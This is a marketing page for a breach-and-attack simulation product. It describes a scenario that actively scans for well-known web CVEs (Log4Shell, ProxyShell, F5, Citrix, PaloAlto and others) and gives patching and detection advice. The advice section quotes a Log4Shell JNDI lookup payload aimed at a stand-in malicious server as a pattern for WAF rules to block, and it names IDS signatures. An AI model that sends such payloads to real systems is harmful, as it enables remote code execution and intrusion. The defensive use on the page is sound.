THREAT SIMULATION
OF THE MOMENT

NEW

Active Scanning CVE

Top exploited Web CVE of 2024

BLACKNOISE

PLATFORM

BlackNoise is the first European breach & attack simulation platform, and aims to assess, evaluate & improve your Cyber capabilities in real conditions.

THREAT SCENARIOS

The platform includes comprehensive presets for threat scenarios (APT, ransomware, wiper, data leak, etc.) and over 1,000 security events, with continuous updates.

>_ ABOUT ACTIVE SCANNING CVE

A thorough simulation aimed at validating detection and response capabilities against the **most exploited Web CVE of 2024**. The scenario replicates several attacker behaviors such as remote command execution, privilege escalation, RCE, LFI, etc. It's perfect for spotting security flaws and strengthening defenses for common solutions such as F5 Big-IP, Citrix NetScaler, Cisco IOS, FortiOS, SSL VPN or Log4j.

>_ WHY PLAY THIS SIMULATION?

Active threat
This simulation is a must for businesses. It helps them detect weak spots in their security defenses. By simulating the main Web CVE used in cyber attacks in 2024, organizations can see how good they are at detecting and responding against both internal and external attacks (from the Internet), and against both opportunistic and targeted scenarios.

Demonstrate Compliance

RGPD ☑ NIS 2 ☑ DORA ☑

Risk assessment

Espionage □ Destruction ☑ Data breach & leak ☑

Insider □ External attack ☑

Security solution assessed

□ EDR	☑ NDR	□ EPP
☑ HONEY POT	☑ FW / PROXY	□ DLP / DLD
☑ SYSTEM LOGS	☑ ID/PS	☑ SIEM

SIMULATION DETAILS

>_ COMPOSITION

🟥 2 high severity events

🟧 11 low severity events

>_ TARGETS

Network Windows Linux MacOs

AWS MS Azure Google Cloud

>_ ATTACK SCOPE

MITRE ATT&CK matrix

>_ RULES ASSOCIATED

Suricata Rules Sigma Rules

>_ TECHNICAL DETAILS OF BLACKNOISE SIMULATION

To address this kind of threat, you must validate your capabilities to detect technical adversary behaviors in a short time frame and validate the effectiveness of your investigation & reaction strategy. For this simulation, BlackNoise will execute the following actions:

- Active Scanning: Log4Shell (CVE-2021-44228)
- Active Scanning: Proxyshell/Proxynotshell (CVE-2021-31207,CVE-2021-34473 / CVE-2022-41040…)
- Active Scanning: Citrix NetScaler Memory Leak (CVE 2023-4966)
- Active Scanning: F5 Big IP - LFI and RCE (CVE-2020-5902 and CVE-2022-1388)
- Active Scanning: Atlassian Crowd and BitBucket RCE (CVE-2019-11580 and CVE-2022-36804)
- Active Scanning: SolarWinds Serv-U (CVE-2024-28995)
- Active Scanning: PaloAlto Global Protect RCE (CVE-2024-3400)
- Active Scanning: Jenkins LFI (CVE-2024-23897)
- Active Scanning: Cisco IOS XE Privilege Escalation (CVE-2023-20198 and CVE-2023-20273)
- Active Scanning: PaperCut Remote Command Execution (CVE-2023-27350)
- Active Scanning: VMWare Aria Operations RCE (CVE-2023-20887)
- Active Scanning: Adobe ColdFusion RCE (CVE-2023-26360)
- Active Scanning: FortiOS SSL VPN Web Portal Clear Password (CVE-2018-13379)

>_ STRENGTHEN YOUR DETECTION CAPABILITIES

To effectively tackle this threat model, BlackNoise strongly recommends implementing the following actions:

- Apply patches and updates immediately by checking vendor advisories (e.g., Microsoft, Citrix, Palo Alto, Atlassian, etc.) and using automated patch management tools like `WSUS`, `SCCM`, or `Ansible` to ensure timely deployment.
- Deploy and configure a Web Application Firewall (WAF) with custom rules to detect and block known exploit patterns, such as Log4Shell payloads (``${jndi:ldap://malicious-server}``) and ProxyShell attack signatures (``autodiscover.json`` exploitation).
- Implement network segmentation and least privilege access by using VLANs, firewalls, and Zero Trust architectures to restrict access to administrative interfaces like `F5 BIG-IP TMUI`, `Cisco IOS XE web UI`, and `Jenkins` servers.
- Enable continuous threat monitoring and logging by forwarding logs from affected services to a SIEM (e.g., `Splunk`, `ELK`, or `Microsoft Sentinel`) and setting up alerts for suspicious activity such as unexpected file modifications or privilege escalations.
- Enforce Multi-Factor Authentication (`MFA`) on VPN gateways (`Palo Alto GlobalProtect`), administrative consoles (`Cisco IOS XE`), and cloud-based services to reduce the risk of credential stuffing or token hijacking.
- Configure Intrusion Detection and Prevention Systems (IDS/IPS) with updated signatures to detect CVE exploitation attempts, such as Snort rules for Log4Shell (``ET EXPLOIT Apache Log4j JNDI Request``), Palo Alto Threat Prevention signatures, and YARA rules for malicious behaviors.

For additional technical recommendations, visit the BlackNoise platform or contact us for more information.

BLACKNOISE
NEVER TRUST. ALWAYS **CHECK.**

CONTACT
contact@blacknoise.co

Erium 2025 – all rights reserved.